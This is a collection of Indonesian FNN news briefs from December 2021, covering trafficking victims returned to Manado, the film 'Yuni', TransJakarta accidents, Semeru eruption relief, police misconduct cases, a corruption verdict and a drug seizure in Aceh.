Manado, FNN - Kapolda Sulawesi Utara (Sulut) Irjen Pol Mulyatno menjemput tiga perempuan korban tindak pidana perdagangan orang (TPPO) yang tiba di Bandara Sam Ratulangi (Samrat) Manado, Senin. Kapolda Mulyatno mengatakan bersyukur, para korban ini bisa kembali lagi ke Manado dengan selamat. "Sebenarnya yang menimpa saudara kita ini adalah kasus kemanusiaan, dimana orang diperdagangkan, dieksploitasi, sehingga kami (Polda Sulut) sangat berempati terutama bagi keluarga korban," katanya. Ini, kata Kapolda, adalah kepedulian bersama semua pihak, karena ada laporan dari masyarakat dan Bupati Minahasa Utara yang sama-sama peduli. "Alhamdulillah dalam waktu kurang lebih satu minggu, korban berhasil dibawa pulang," kata Kapolda. Pada penjemputan itu, Kapolda didampingi Kabid Humas Kombes Pol Jules Abraham Abast, Dirreskrimum Kombes Pol Gani F. Siahaan, Bupati Minahasa Utara Joune Ganda dan Kapolres Minahasa Utara AKBP Bambang Yudi Wibowo. Kapolres Minut AKBP Bambang Yudi Wibowo, mengatakan ketiga perempuan ini merupakan korban perdagangan orang yang terjadi pada kurun waktu dari bulan Mei hingga November 2021. Ketiga korban ini, dijemput oleh personel Polres Minahasa Utara di wilayah Kabupaten Maluku Tenggara Barat, setelah sebelumnya sempat melarikan diri dari sebuah kafe, karena diperlakukan dengan tidak baik. "Mereka (korban) dijanjikan pekerjaan, setelah dijanjikan pekerjaan kemudian mereka dibiayai bekerja di wilayah Saumlaki dan ternyata di sana pekerjaan tidak sesuai dengan yang diharapkan. Kasus ini sementara dalam penyelidikan," katanya. Bupati Minahasa Utara Joune Ganda mengapresiasi kinerja jajaran Kepolisian dalam mengungkap kasus ini. "Pemerintah beserta seluruh masyarakat Minahasa Utara menyampaikan apresiasi yang luar biasa buat Kepolisian yakni Polda Sulut dan Polres Minut, yang cepat bergerak atas laporan masyarakat. Kepolisian mampu menyelesaikan minimal ditahap awal membawa korban ke rumahnya bertemu dengan keluarganya dan tentunya kasus ini akan diselidiki lebih lanjut," kata Bupati. Ia juga mengimbau agar warga berhati-hati jangan gampang terpengaruh dengan iming-iming pekerjaan yang belum jelas. "Itu yang perlu diantisipasi, kalau perlu bisa datang langsung ke instansi terkait untuk menanyakan pekerjaan yang dimaksud," katanya. Hadir juga juga dalam penjemputan di Bandara Sam Ratulangi, para keluarga korban yang tampak sangat terharu bisa kembali berkumpul dengan korban setelah kurang lebih enam bulan tidak bisa bertemu. (mth)

Film "Yuni" Siap Tayang di Layar Lebar Mulai 9 Agustus

Jakarta, FNN - Film “Yuni” garapan sutradara Kamila Andini resmi tayang perdana di bioskop tanah air mulai Kamis (9/12) setelah diputar di berbagai festival film internasional. Film ini memotret kisah seorang remaja cerdas bernama Yuni yang memiliki impian untuk melanjutkan pendidikan ke jenjang perkuliahan. Suatu hari Yuni menolak pinangan dua laki-laki dan diikuti oleh pinangan laki-laki ketiga. Yuni dihadapkan pada pilihan, antara mempercayai mitos bahwa seorang perempuan yang menolak lamaran sebanyak tiga kali tidak akan pernah menikah atau tetap mengejar impiannya. ​Kamila Andini mengatakan film “Yuni” lahir melalui proses yang cukup panjang sejak 2017. Inspirasi film ini datang pada tahun tersebut saat dirinya seorang ibu bercerita kepada Kamila mengenai anaknya menikah di usia muda. “Entah kenapa sangat reflektif, sampai pembicaraan itu terus stay di kepala saya, menetap. Sampai satu hari saya bilang ke Ifa bahwa kita harus membicarakan hal ini,” ujar Kamila saat konferensi pers di XXI Epicentrum, Jakarta, Senin. “Yuni” telah memenangkan beberapa penghargaan, meliputi Platform Prize di Toronto International Film Festival 2021, Snow Leopard untuk Aktris Terbaik di Asian World Film Festival 2021, Piala Citra untuk kategori Pemeran Utama Perempuan Terbaik, dan Silver Hanoman di Jogja-NETPAC Asian Film Festival 2021. Film yang mengangkat masalah perempuan ini juga menjadi perwakilan Indonesia untuk kategori Best International Feature Film di ajang penghargaan Academy Awards ke-94 atau Piala Oscar pada 2022. Kamila mengatakan “Yuni” mendapatkan banyak reaksi dari berbagai negara setelah mampir di festival film internasional. Meski “Yuni” mengambil latar di Indonesia, lanjutnya, film ini juga beresonansi dengan penonton di luar Indonesia karena mengangkat isu yang universal dan terjadi di belahan dunia lain. “Orang-orang melihat 'Yuni' adalah sebuah problem dunia juga. Kita adalah bagian dari ruang yang sangat besar sebenarnya, semua juga melihat bahwa ini ada sesuatu yang masih menjadi pekerjaan rumah bersama. Menariknya, ternyata dari ruang yang sangat kecil itu, sebuah tempat di Serang, kita bisa berkoneksi dengan begitu banyak orang,” ujarnya. Kamila berharap penonton Indonesia dapat merefleksikan pengalaman dan menemukan makna kebebasan versi masing-masing melalui “Yuni”. “Saya pikir film ini tentang liberation, tentang kebebasan. Jadi mari kita membebaskan pilihan-pilihan kita, membebaskan suara kita,” tuturnya. Sementara itu, produser Fourcolours Films Ifa Isfansyah dan produser Starvision Chand Parwez Servia juga turut menyambut film “Yuni”. Keduanya sama-sama berharap “Yuni” dapat membuka ruang diskusi serta menjadi perenungan dan pemikiran mengenai isu perempuan. “Apa yang diberikan oleh film ini sesuatu yang sangat dekat, sangat nyata, sangat butuh perhatian kita,” tutur Chand. “Yuni” dibintangi oleh aktor yang beragam, mulai dari aktor papan atas hingga aktor debutan, termasuk Arawinda Kirana, Kevin Ardilova, Dimas Aditya, Marissa Anita, Asmara Abigail, Muhammad Khan, Nazla Thoyib, dan sebagainya. Film ini ditulis oleh Kamila Andini bersama Prima Rusdi, serta diproduksi oleh Fourcolours Films dan Starvision bekerja sama dengan Akanga Film Asia (Singapura) dan Manny Films (Perancis). Film “Yuni” juga mendapat dukungan Program Pendukungan Film Indonesia untuk Distribusi Internasional Direktorat PMMB Kemendikbud Ristek RI, MPA APSA Academy Film Fund Australia, Purin Pictures Thailand, dan sebagainya. (mth)

Polisi Rekomendasikan TransJakarta Cek Kesehatan Sopir Seperti Pilot

Jakarta, FNN - Direktorat Lalu Lintas Polda Metro Jaya merekomendasikan kepada TransJakarta untuk melakukan cek kesehatan sopir yang akan bertugas selayaknya pilot yang hendak terbang. Hal itu disampaikan Kepala Subdirektorat Penegakan Hukum Ditlantas Polda Metro Jaya terkait rentetan kecelakaan yang dialami oleh bus TransJakarta dalam beberapa hari terakhir. "Direkomendasi kita pihak TransJakarta harus sama kaya pilot, pilot ini kan pengemudi pesawat, dia tesnya betul-betul detail. Selain memastikan kondisi kesehatannya, memastikan kesehatan mentalnya, kalau memang kesehatan mentalnya tidak sehat, dia tidak boleh terbang," kata Argo saat dihubungi di Jakarta, Senin. Lebih lanjut pihak kepolisian juga merekomendasikan pihak TransJakarta untuk melakukan manajemen kelelahan (fatique management) untuk memastikan pramudi yang hendak bertugas dalam kondisi prima. "TransJakarta sudah melakukan SOP, dia sudah bikin sif dan segala macam, tapi kita tidak tahu kondisi si pengemudi apakah waktu istirahat di rumah dia bener-benar-benar istirahat. Jadi, beban kerja itu selain di kantor itu, juga di rumah," kata Argo. Selain memastikan kondisi fisik pengemudi yang akan bertugas, pihak TransJakarta juga diminta memastikan kondisi kesehatan mental para pengemudinya. "Pihak TransJakarta juga harus memastikan kondisi kejiwaan, kondisi kesehatan fisik itu benar-benar harus maksimal," pungkasnya. Diketahui bus TransJakarta terlibat sejumlah kecelakaan dalam beberapa waktu terakhir. Kecelakaan pertama terjadi pada Kamis (2/12). Saat itu bus TransJakarta dengan operator PT Steady Safe menabrak Pos Polisi di Lampu Merah PGC Cililitan, Jakarta Timur. Kejadian tersebut mengakibatkan satu orang petugas patroli TransJakarta luka berat. Kemudian pada Jumat (3/12), bus dari operator PT Mayasari Bhakti menabrak pembatas jalan (separator) busway di depan Ratu Plaza, Senayan. Terakhir pada Senin (6/12) terjadi kecelakaan tunggal bus TransJakarta di Halte Puri Beta 2, Tangerang, Jawa Barat, pada Senin pagi, 6 Desember 2021 sekitar pukul 09.10 WIB. Kejadian itu berawal saat bus TransJakarta bernomor lambung TJ-402 selesai menurunkan pelanggan di Halte Puri Beta 2 dan sopir kemudian memarkir bus dan keluar bus untuk buang air kecil. Namun, pengemudi lupa menarik rem tangan hingga bus meluncur sejauh sekitar 10 meter dan menabrak tumpukan tanah serta tembok. (mth)

Bulgaria Dorong Perluasan Kerja Sama Perdagangan dengan Indonesia

Jakarta, FNN - Duta Besar Bulgaria untuk Indonesia, Peter Andonov, menyoroti sejumlah sektor kerja sama perdagangan yang masih dapat dijajaki oleh Indonesia dan Bulgaria dan mengatakan pihaknya ingin memperluas kemitraan ekonomi dengan RI. Dalam wawancara khusus dengan ANTARA dari Jakarta, Senin, Dubes Andonov mengatakan bahwa pihaknya meyakini hubungan perdagangan antara kedua negara perlu diperluas. “Jika dilihat dari situasi perdagangan Indonesia dan Bulgaria saat ini, kegiatan perdagangan kebanyakan fokus pada bahan-bahan mentah atau produk pertanian seperti tembaga. Kami mengimpor tembaga dari Indonesia dan anda mengimpor gandum dari Bulgaria. Saya rasa ini waktunya untuk memperluas perdagangan bilateral kita,” paparnya. Dia pun menyoroti sejumlah sektor yang memiliki potensi untuk dijajaki dalam perdagangan kedua negara, termasuk di bidang teknologi informasi dan ekonomi digital. “Bulgaria adalah gudang teknologi informasi di bagian tenggara Eropa. Jadi, saya pikir kita dapat memperkuat hubungan di bidang TI, ekonomi digital, dan juga kemitraan antara perusahaan-perusahaan start-up kedua negara,” jelasnya. Selain itu, dia juga menyebut negaranya sebagai salah satu produsen terbesar minyak bunga mawar, sehingga Bulgaria ingin masuk ke sektor kosmetik dan kecantikan, di mana produk-produknya banyak menggunakan minyak itu. Dia pun mengatakan bahwa produk-produk kosmetik tersebut akan disertifikasi halal guna menarik pasar di Indonesia. “Kita juga bisa mencoba untuk menambahkan berbagai komoditas dalam impor kami dari Indonesia, contohnya, sejak saya tiba di sini, saya menyadari betapa baiknya kualitas kopi Indonesia, dan saya ingin masyarakat Bulgaria dapat merasakan produk tersebut,” paparnya. Lebih lanjut, dia juga mendorong adanya peningkatan investasi yang dilakukan oleh kedua negara, dan menyebut adanya kesempatan untuk melakukan joint venture antara perusahaan Indonesia dan Bulgaria untuk memproduksi barang-barang ekspor dan impor yang cocok bagi pasar kedua negara tersebut. (mth)

TNI Tambah Alat Berat Bantu BNPB Sisir Korban Erupsi Gunung Semeru

Jakarta, FNN - TNI menambah alat-alat berat di lokasi erupsi Gunung Semeru, Lumajang, Jawa Timur, untuk membantu Badan Nasional Penanggulangan Bencana (BNPB) menyisir dan mengevakuasi korban. Tambahan alat-alat berat itu, yang saat ini tersedia di sejumlah lokasi terdampak erupsi, merupakan tindak lanjut perintah Panglima TNI Jenderal TNI Andika Perkasa minggu lalu (5/12). “Beberapa bantuan yang kembali dikirim oleh TNI untuk membantu korban erupsi Gunung Semeru, yaitu personel dan alat berat dari Batalion Zeni Tempur/10 (Yonzipur) yang ditempatkan di SDN Sumber Wuluh dan Polsek Candipuro,” kata Kepala Pusat Penerangan TNI Mayjen TNI Prantara Santosa lewat keterangan tertulisnya yang diterima di Jakarta, Senin. Di samping Yonzipur/10, prajurit dan alat-alat berat dari Yonzipur/5 juga ditempatkan di Desa Supit Urang. “Alat berat yang dimaksud antara lain, 4 unit backhoe loader, 2 unit self loader, 1 unit dozer, 2 unit bulldozer, 8 unit excavator, 8 unit dump truck, 1 unit crane, 1 unit transporter, 1 unit crane cargo, 2 unit trailer kavaleri, dan 1 unit trailer sipil,” sebut Prantara. TNI Angkatan Udara kembali menerjunkan puluhan prajurit pasukan khusus ke lokasi terdampak bencana, Senin. Puluhan prajurit itu terdiri atas Detasemen Matra 2/Naga Pasa dan Batalyon Komando 464/Nanggala Korps Pasukan Khas TNI AU. Pasukan khusus itu datang bersama para petugas kesehatan, petugas fasilitas dan instansi, sentra komunikasi, dan petugas dari Pengatur Lalu Lintas Udara dari Lanud Abdulrachman Saleh, Malang, kata Dinas Penerangan TNI AU sebagaimana dikutip dari siaran tertulisnya yang diterima di Jakarta, Senin. Pasukan itu tergabung dalam sebuah satuan tugas yang bertugas bersama pasukan TNI lainnya, Polri, dan lembaga lain, menyisir korban erupsi Gunung Semeru. Pasukan gabungan satgas bergerak dari lokasi yang terdampak parah oleh erupsi, yaitu di Desa Sumber Wuluh, Kecamatan Candipuro, Lumajang. Ada empat lokasi di Sumber Wuluh yang menjadi fokus penyisiran, yaitu di Jembatan Merah, Desa Curah Kobokan, Desa Perak, dan Desa Bundali. Tidak hanya membantu penyisiran, TNI AU juga menyediakan layanan pemeriksaan kesehatan kepada warga yang terdampak erupsi Gunung Semeru. “Pertolongan kesehatan yang diberikan berupa pemeriksaan umum dan pemberian obat kepada warga yang rentan,” terang Dinas Penerangan TNI AU. Gunung Semeru, yang tingginya mencapai 3.676 meter dari atas permukaan laut (mdpl), erupsi disertai oleh awan panas dan hujan abu vulkanik, Sabtu minggu lalu (4/12). Akibat erupsi, lebih dari 50 warga jadi korban luka bakar, belasan warga meninggal dunia, ribuan rumah rusak, dan puluhan instalasi listrik terganggu. (sws)

Polda Sulut: Informasi Penculikan Anak yang Viral di Medsos Hoaks

Manado, FNN - Kabid Humas Kombes Pol Jules Abraham Abast mengatakan informasi penculikan anak yang viral di media sosial (medsos) akhir-akhir ini tidak benar atau hoaks. “Info-info penculikan anak tersebut hoaks. Masyarakat jangan mudah percaya, karena sampai saat ini Polda Sulut dan jajaran belum menerima laporan resmi tentang adanya kasus penculikan anak,” kata Abast di Manado, Senin. Isu penculikan anak tersebut dikabarkan terjadi di beberapa wilayah seperti di Mapanget dan Malalayang, Kota Manado, serta di Kalawat, Kabupaten Minahasa Utara. Di Malalayang, info beredar pada Jumat (3/12), dikabarkan terjadi penculikan terhadap seorang siswi Sekolah Dasar (SD) berumur 9 tahun, saat perjalanan pulang dari sekolah. "Faktanya, tidak terjadi penculikan," katanya. Ia mengatakan siswi tersebut hanya terlambat pulang ke rumah, namun pihak keluarga panik dan menyebarkan informasi penculikan karena terpengaruh isu sebelumnya. “Kemudian pihak keluarga sudah mengklarifikasi bahwa tidak terjadi penculikan, dan sudah meminta maaf,” katanya. Ia menambahkan begitu juga isu penculikan di Mapanget dan Kalawat, yang terjadi pada Kamis (2/12), dan Minggu (5/12). "Hal tersebut tidak benar," kata Abast. Abast mengatakan yang di Mapanget, ada seorang remaja pria yang didekati orang tak dikenal. Karena ketakutan, dia menjauh dan pria tak dikenal itu pun bergegas pergi. "Tidak ada penculikan,” katanya. Sedangkan di Kalawat Minahasa Utara, lanjut Abast, awalnya terjadi keributan di pangkalan ojek Desa Kolongan Tetempangan. Warga masyarakat mengira terjadi upaya penculikan. “Kedua orang yang diisukan melakukan penculikan itu, faktanya akan mengantar anggota keluarganya yang mengalami gangguan kejiwaan ke RSJ Ratumbuysang Manado untuk berobat. Namun di tengah perjalanan yang bersangkutan berontak hingga terjadi tarik-menarik. Jadi bukan upaya penculikan,” kata Abast. Terkait isu-isu tersebut, Abast mengimbau masyarakat untuk meningkatkan kewaspadaan. Terutama para orang tua, agar meningkatkan pengawasan terhadap anak-anaknya saat bermain di luar rumah untuk menghindari terjadinya hal-hal yang tidak diinginkan. “Dan yang tidak kalah pentingnya yaitu, jangan mudah terpengaruh apalagi ikut menyebarkan informasi-informasi yang belum jelas kebenaran dan sumbernya, karena bisa menimbulkan keresahan dan kepanikan di tengah masyarakat,” kata Abast. Ia juga berpesan kepada masyarakat, jika melihat orang tak dikenal dengan gelagat mencurigakan dan bahkan berpotensi menimbulkan gangguan keamanan dan ketertiban, agar segera melapor ke pihak kepolisian. ​​​​​​​ “Jangan bertindak sendiri. Segera lapor ke pihak kepolisian terdekat, supaya cepat diselidiki dan ditangani dengan baik, sehingga tidak mengganggu stabilitas keamanan dan ketertiban masyarakat,” katanya. (sws)

Propam Polda Aceh Tahan Oknum Polisi Diduga Aniaya Tahanan

Banda Aceh, FNN - Polda Aceh melalui Bidang Profesi dan Pengamanan (Propam) menahan oknum polisi diduga menganiaya seorang tahanan Polres Bener Meriah, sehingga yang bersangkutan meninggal dunia. Kepala Bidang Humas Polda Aceh Kombes Pol Winardy di Banda Aceh, Senin, mengatakan oknum polisi tersebut bertugas di Polres Bener Meriah. Penahanan oknum polisi tersebut untuk memudahkan pemeriksaan lebih lanjut. "Saat ini, Propam Polda Aceh telah menahan oknum Polres Bener Meriah untuk pemeriksaan lebih lanjut. Kemudian ditindaklanjuti pencopotan jabatan tersebut agar bisa diperiksa secara intensif di Polda Aceh," kata Kombes Pol Winardy. Sebelumnya, tahanan Polres Bener Meriah berinisial S alias F meninggal dunia diduga dianiaya oknum polisi. Sebelum meninggal dunia, S alias F sempat dibawa ke Rumah Sakit Umum Daerah (RSUD) Zainoel Abidin di Banda Aceh. Menurut Kombes Pol Winardy, Polda Aceh serius menangani setiap pelanggaran, baik pidana maupun tidak, yang dilakukan oknum kepolisian. Mereka yang terbukti bersalah diberikan sanksi tegas sesuai aturan peraturan perundang-undangan berlaku. Kombes Pol Winardy mengatakan Kapolres Bener Meriah AKBP Agung Surya didampingi sejumlah personel sudah bersilaturahmi ke rumah almarhum S alias F di Desa Alue Jamok, Kecamatan Baktya, Kabupaten Aceh Utara. Pada kesempatan itu, kata Kombes Pol Winardy, Kapolres Bener Meriah menyampaikan permohonan maaf atas tindakan oknum anggota Polres Bener Meriah yang diduga menganiaya S alias F. "Kapolres menjamin bahwa oknum tersebut diproses secara hukum. Kapolres juga menyatakan akan melakukan pengawasan melekat dan berjenjang, sehingga kejadian seperti itu tidak terulang," kata Kombes Pol Winardy. (sws)

Peneliti sebut UU Cipta Kerja Lompati Fase Pertama Pembangunan

Jakarta, FNN - Peneliti Paramadina Public Policy Institute (PPPI) M Rosyid Jazuli mengatakan Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja melompati fase pertama pembangunan ekonomi berbasis produksi untuk menuju fase pembangunan berbasis investasi sehingga berkemungkinan mengalami kegagalan. “Ini tidak masuk akal. Di berbagai literatur, ditunjukkan bahwa tidak ada negara yang sukses melompati fase-fase itu,” kata M Rosyid Jazuli. Hal tersebut dikemukakannya saat menjadi panelis dalam diskusi publik Paramadina Public Policy Institute (PPPI) bertajuk “UU Cipta Kerja Pascaputusan Mahkamah Konstitusi: Revisi atau Dekonstruksi?” melalui zoom meeting, dipantau dari Jakarta, Senin. Berdasarkan pengamatannya sejauh ini, Rosyid menilai Indonesia belum dapat dikatakan baik dalam melalui fase awal pembangunan berbasis produksi. Menurut dia, faktor-faktor produksi di Indonesia, seperti sumber daya manusia, agraria, dan kelembagaan belum benar-benar siap dan dapat dinilai telah baik melalui fase awal pembangunan ekonomi. Meskipun belum sepenuhnya baik seperti itu, lanjut dia, UU Cipta Kerja justru menawarkan janji untuk melompati fase pembangunan berbasis produksi dan langsung menuju pada tahapan pembangunan berbasis investasi. Langkah itu, menurut Rosyid, sulit untuk berhasil menuju ke arah yang sukses. Kemudian, ia memberikan contoh keberhasilan pembangunan ekonomi yang dilakukan Korea, Taiwan, Hongkong, dan Singapura. Dia menyampaikan ketiga negara yang sukses membangun ekonominya itu memulai pembangunan mereka dari fase awal yang berbasis produksi, yaitu pemantapan manufaktur. Mereka menguatkan sistem pengoperasian peralatan, mesin, dan tenaga kerja dalam mengolah bahan baku untuk diproduksi menjadi barang bernilai jual terlebih dahulu. Selanjutnya, mereka baru beralih pada fase pembangunan berbasis investasi. Berdasarkan pendalaman Rosyid terhadap UU Cipta Kerja dari sudut pandang pembangunan ekonomi itu, ia menyimpulkan implementasi peraturan yang dinyatakan inkonstitusional bersyarat oleh Mahkamah Konstitusi itu tidak sepenuhnya menjanjikan. “Ini asumsi saya pribadi. Tapi kalau bisa diimplementasikan, bahkan secara cepat, tentu kita apresiasi pemerintah,” ujar dia. (sws)

Polri Tanggapi Positif Tagar #1Hari1Oknum

Jakarta, FNN - Polri memberikan tanggapan positif atas kritikan masyarakat terhadap kinerja kepolisian dengan munculnya tanda pagar (tagar) #1Hari1Oknum dan mencuat lagi tagar #PercumaLaporPolisi. Kepala Divisi Humas Polri Irjen Pol Dedi Prasetyo menyebutkan, semua saran, masukan dan kritik dari seluruh masyarakat bagian dari evaluasi yang terus akan dilakukan Polri. "Yang jelas pemimpin dari Polri sesuai dengan arahan Bapak Kapolri saat apel Kasatwil, untuk pimpinan Polri di wilayah tidak boleh ragu-ragu melakukan tindakan tegas kepada anggota yang terbukti bersalah dan juga harus seimbang," kata Dedi di Mabes Polri, Jakarta Selatan, Senin. Dedi menjelaskan, seluruh pimpinan Polri di wilayah diminta tegas dan berimbang, bila ada anggota yang melanggar diberi hukuman, sedangkan bagi anggota yang berprestasi harus diberikan apresiasi. Artinya, kata Dedi, keseimbangan antara "punishment" (hukuman) dan "reward" (ganjaran) harus dilakukan mulai dari jajaran tingkat Polres, Polda hingga Mabes Polri. "Itu komitmen kami," kata Dedi menegaskan. Dedi kembali menekankan, saran dan masukan, serta kritikan dari seluruh masyarakat menjadi bahan evaluasi Polri untuk bekerja lebih baik lagi. Polri, kata Dedi, menyadari keinginan masyarakat untuk menjadi organisasi yang lebih baik dan dicintai masyarakat, dapat melaksanakan tugas secara profesional. "Kami ucapkan terima kasih dan apresiasi kepada seluruh masyarakat yang menginginkan Polri menjadi organisasi yang baik, yang dicintai masyarakat dan dapat melaksanakan tugas secara profesional, sesuai dengan arah kebijakan Bapak Kapolri, transformasi menuju Polri yang Presisi," ujar Dedi. Tagar #PercumaLaporPolisi dan #1Hari1Oknum kembali mencuat di masyarakat setelah kejadian Bripda Randy Bagus, tersangka kasus Novia Widyasari, yang bunuh diri dan ditemukan meninggal dunia di samping makam ayahnya, di Mojokerto, Jawa Timur. Terkait sanksi terhadap Bripda Randy Bagus, Polri akan menjatuhkan sanksi sidang etik dan akan diberhentikan dengan tidak hormat (PTDH) setelah perkara pidananya disidangkan. Bripda Randy Bagus secara internal melakukan perbuatan melanggar hukum Perkap Nomor 14 Tahun 2011 tentang Kode Etik serta dijerat Pasal 7 dan Pasal 11. Secara eksternal dijerat dengan Pasal 348 Jo. 55 KUHP dengan ancaman hukuman lima tahun penjara. (sws)

Oknum Dosen Unsri Ditetapkan Sebagai Tersangka Kasus Pelecehan Seksual

Sumatera Selatan, FNN - Kepolisian Daerah Sumatera Selatan (Polda Sumsel) resmi menetapkan oknum dosen Universitas Sriwijaya (Unsri) berinisial AR sebagai tersangka atas perkara dugaan pelecehan seksual terhadap mahasiswinya DR (22). Direktur Reserse Kriminal Umum (Ditreskrimum) Polda Sumsel Kombes Pol Hisar Siallagan di Palembang, Senin, mengatakan, AR yang merupakan dosen di Fakultas Keguruan dan Ilmu Pendidikan (FKIP) Unsri tersebut ditetapkan sebagai tersangka setelah penyidik mengantongi cukup bukti dari keterangan yang diberikan AR, setelah diperiksa secara intensif selama sembilan jam sejak pukul 09.00 WIB sampai 18.00 WIB di Markas Polda Sumsel. "Kami sudah cukup bukti pencabulan yang dilakukan AR. Maka, dengan ini oknum dosen berinisial AR ditetapkan sebagai tersangka," kata dia. Menurut dia, di hadapan penyidik tersangka mengakui perbuatan cabulnya terhadap korban. Tersangka mencium, meraba korban, namun tidak sampai berhubungan badan. Sebagaimana pengakuan yang sampaikan oleh korban sebelumnya. Perbuatan cabul itu dilakukan tersangka AR dengan modus memberikan bimbingan skripsi terhadap korban yang kejadiannya berlangsung di Laboratorium Sejarah FKIP Unsri Kampus Indralaya, Ogan Ilir, pada Sabtu (25/9). "Korban saat itu melakukan bimbingan skripsi dan meminta tanda tangan untuk skripsinya itu sebagai syarat kelulusannya. Berlangsung di laboratorium sejarah, di momen tersangka melakukan aksinya tadi," ujarnya. Selain mengamankan tersangka, polisi juga mengamankan barang bukti milik korban. Atas perbuatan cabulnya itu tersangka disangkakan melanggar Pasal 289 KUHP tentang Pencabulan dan Perbuatan yang Menyerang Kehormatan Kesusilaan Jo. Pasal 294 ayat (2) poin 1 dan 2 KUHP dengan ancaman pidana sembilan tahun. "Tersangka ditahan terhitung sejak Senin ini pukul 00.00 WIB hingga selama 20 hari ke depan di Mapolda Sumsel," katanya. (sws)

Nurdin Abdullah Tak Ajukan Banding Terhadap Vonis PN Tipikor Makassar

Makassar, FNN - Mantan Gubernur Sulawesi Selatan Nurdin Abdullah menerima putusan vonis lima tahun penjara dan denda Rp500 juta dari Pengadilan Negeri Tindak Pidana Korupsi (Tipikor) Makassar dan tidak mengajukan banding terhadap putusan tersebut. "Pak NA (Nurdin Abdullah) telah memutuskan tidak mengajukan banding terhadap putusan itu," ujar Penasihat Hukum Nurdin Abdullah, Arman Hanis saat dikonfirmasi wartawan di Makassar, Senin. Saat ditanyakan alasan kliennya menolak mengajukan banding satu tingkat di atas PN Tipikor Makassar, Arman enggan merinci perihal dan alasan Nurdin batal melakukan banding. "Telah dipikirkan dan dipertimbangkan dengan baik oleh Pak NA, begitupun tim penasihat hukum dan pihak keluarga untuk tidak mengajukan banding," tutur Arman kembali menekankan. Sebelumnya, Nurdin Abdullah divonis bersalah dan terbukti secara sah dan meyakinkan melakukan tindak pidana korupsi secara bersama-sama dan berlanjut sebagaimana dalam dakwaan Jaksa Penuntut Umum Komisi Pemberantasan Korupsi (KPK) karena terbukti menerima suap dan gratifikasi Rp13 miliar terkait sejumlah proyek pembangunan infrastruktur di Sulawesi Selatan. Nurdin yang merupakan mantan Bupati Bantaeng dua periode itu dinyatakan terbukti melanggar pasal 12 huruf a Undang-undang RI nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHPidana Jo. Pasal 64 ayat (1) KUHPidana dan pasal 12 B Undang-Undang RI Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 65 ayat (1) KUHPidana. Pembacaan putusan terhadap Nurdin yang telah bersidang hampir enam bulan dibacakan Ketua Majelis Hakim Ibrahim Palino, di Pengadilan Negeri Makassar pada Senin, 29 November 2021. Selain vonis lima tahun penjara dan denda Rp500 juta subsider empat bulan penjara. Nurdin juga dihukum membayar uang pengganti sebesar Rp2,18 miliar lebih. Jika tidak dibayarkan dalam waktu satu bulan setelah putusan inkracht atau berkekuatan tetap, maka harta bendanya disita dan dilelang negara untuk mencukupkan biaya pengganti tersebut. Apabila harta bendanya tidak mencukupi uang pengganti, maka digantikan dengan pidana penjara selama 10 bulan. Majelis hakim juga mencabut hak politik Nurdin Abdullah selama tiga tahun, berlaku sejak Nurdin selesai menjalani masa pidana selama lima tahun penjara. (sws)

Polda Aceh Gagalkan Peredaran 133 Kilogram Sabu-Sabu

Banda Aceh, FNN - Personel Direktorat Reserse Narkoba Polda Aceh, Polres Aceh Timur, bersama Bea Cukai menggagalkan peredaran narkoba jenis sabu-sabu dengan berat mencapai 133 kilogram. Kapolda Aceh Irjen Pol Ahmad Haydar di Banda Aceh, Senin mengatakan peredaran narkoba tersebut merupakan jaringan internasional. Narkoba tersebut hendak diedarkan ke sejumlah provinsi di Indonesia. "Dalam pengungkapan peredaran sabu-sabu tersebut, polisi menangkap seorang terduga pelaku. Terduga pelaku merupakan jaringan narkoba Indonesia-Malaysia," kata Irjen Pol Ahmad Haydar. Kapolda mengatakan pengungkapan peredaran narkoba tersebut berawal dari informasi masyarakat. Dari informasi tersebut, petugas menyelidikinya dan menemukan satu unit mobil parkir di rumah lelaki berinisial B di Gampong Lhol Dalam, Kabupaten Aceh Timur. "Petugas kemudian menangkap B dan menggeledah mobil tersebut serta menemukan tiga karung goni tepung berisikan 60 bungkusan. Bungkusan berisi sabu-sabu dengan berat mencapai 60 kilogram," ungkapnya. Berdasarkan hasil pemeriksaan terhadap B, petugas menemukan lagi empat karung goni berisi 73 bungkus sabu-sabu dengan berat 73 kilogram. Barang terlarang tersebut dimasukkan dalam bungkusan teh China merek Guanyinwang. Kepada petugas, pelaku B mengaku 133 kilogram sabu-sabu tersebut bukan miliknya. Dirinya disuruh menyimpan barang terlarang tersebut oleh seseorang berinisial C. Kini, C sudah dimasukkan dalam daftar pencarian orang atau DPO. Selain C, polisi juga memasukan terduga pelaku lainnya berinisial F dalam DPO. Adapun barang bukti yang diamankan, selain 133 kilogram sabu-sabu, petugas juga mengamankan satu unit mobil, tutur Kapolda. Kapolda Aceh mengatakan terduga pelaku dijerat dengan Lasal 114 Ayat (2), Pasal 112 Ayat (2) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. Ancaman hukumannya paling singkat pidana penjara lima tahun, paling lama 20 tahun, dan terberat pidana mati. "Dengan pengungkapan peredaran 133 kilogram sabu-sabu tersebut, maka bisa menyelamatkan 666 ribu lebih jiwa anak bangsa. Di pasaran, harga 133 kilogram sabu-sabu tersebut mencapai Rp150 miliar," ujar Irjen Pol Ahmad Haydar. (sws)

Polri Jalin Kerja Sama Internasional Dengan Tiga Negara

Jakarta, FNN - Kepolisian Negara Republik Indonesia (Polri) menjalin kerja sama internasional dengan tiga negara, Selandia Baru, Serbia dan Brunai Darussalam dalam rangka memperkokoh keberadaan Korps Bhayangkara di kancah global. Kepala Divisi Humas Polri Irjen Pol Dedi Prasetyo menyebutkan, dua dari tiga kerja sama yang hari ini, Senin, dilakukan penandatanganan merupakan perpanjangan, sedangkan satu kerja sama baru dengan Serbia. "Kerja sama pertama dengan Selandia Baru, ada beberapa pointer yang ditingkatkan pada tahun 2021 dan untuk ke depannya," kata Dedi di Mabes Polri, Senin. Dedi menjelaskan, beberapa kerja sama yang ditingkatkan antara lain meliputi pemberantasan transnasional crime seperti terorisme, perdagangan gelap narkoba, penyelundupan senjata api, perdagangan orang dan perlindungan manusia , pencucian uang , kejahatan keuangan dan ekonomi, kejahatan siber dan kejahatan transnasional lainnya. "Selain itu juga kerja sama ini dalam rangka meningkatkan kapasitas 'building' antara kepolisian Selandia Baru dan Polri, serta meningkat kompetensi anggota kepolisian kedua negara," tutur Dedi. Lebih lanjut Sekretaris 